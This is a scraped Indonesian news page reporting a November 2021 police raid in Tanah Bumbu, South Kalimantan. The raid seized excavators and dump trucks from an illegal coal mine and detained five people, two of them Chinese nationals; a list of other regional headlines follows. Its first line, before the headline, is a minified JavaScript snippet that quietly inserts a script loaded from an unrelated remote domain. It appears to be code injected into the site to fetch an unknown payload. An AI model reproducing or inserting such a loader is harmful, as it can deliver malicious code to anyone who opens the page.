(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua WNA Cina Diamankan, Alat Berat hingga Dump Truck Disita dari Tambang Ilegal di Tanbu


KANALKALIMANTAN.COM, BATULICIN – Sedikitnya 11 alat berat, 20 dump truck, bersama 5 orang -2 diantaranya Warga Negara Asing (WNA) Cina- ditangkap Unit Satreskrim Polres Tanah Bumbu.

Alat berat dan puluhan dump truck, beserta dua WNA Cina itu diamankan karena diduga terlibat aktivitas tambang batu bara ilegal di Desa Mangkalapi, Kabupaten Tanah Bumbu, Kalimantan Selatan.

Barang bukti alat berat yang diamankan tersebut berupa 7 unit excavator merk SANY tipe SY 500 H warna kuning, 2 unit excavator merk Hitachi Zaxis 330 warna orange, 1 unit alat berat jenis dozer merk SANTUY, 1 unit alat berat jenis dozer merk Komatsu tipe D85S, 14 unit dump truck merk HOWO tipe 360 dan 6 unit unit dump truck merk HOWO tipe 420.

Dalam operasi yang dilaksanakan oleh jajaran Polres Tanah Bumbu, Senin 22 Nopember 2021 pukul 20.30 Wita ini juga telah tertangkap tangan sejumlah dugaan tindak pidana yang melakukan penambangan batu bara tanpa izin, pengamankan saksi dan barang bukti guna proses penyidikan lebih lanjut.

 

 

Baca juga: Depo Arsip Kalsel Dikunjungi DPRD Tapin, Kadispersip Tapin: Tahun Depan Kita Mulai Pemusnahan Arsip

Berdasarkan data yang diperoleh Kanalkalimantan.com, sebanyak 5 orang yang diamankan itu, 2 diantaranya WNA Cina yang bertugas sebagai pengawas dan manager operasional, sementara 1 orang sebagai penerjemah dan 2 orang lainnya bertugas sebagai operator alat berat.

Kapolres Tanah bumbu, AKBP Himawan Sutanto Saragih SIK melalui Kasi Humas AKP H I Made Rasa membenarkan kasus diamankannya sejumlah alat berat beserta beberapa orang yang diduga terlibat.

“Ada 5 orang yang diamankan, namun masih dalam tahap pemeriksaan, sehingga belum ada penetapan status tersangka,” sebut AKP H Made.

Sekadar diketahui, pasal yang dilanggar tentang tindak pidana tentang penambangan tanpa izin ssbagaimana dimaksud dalam Undang-Undang Nomor 03 Tahun 2020 tentang perubahaan Undang-Undang Nomor 02 tahun 2009 tentang Mineral dan Batubara Jo 55 KUHP. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.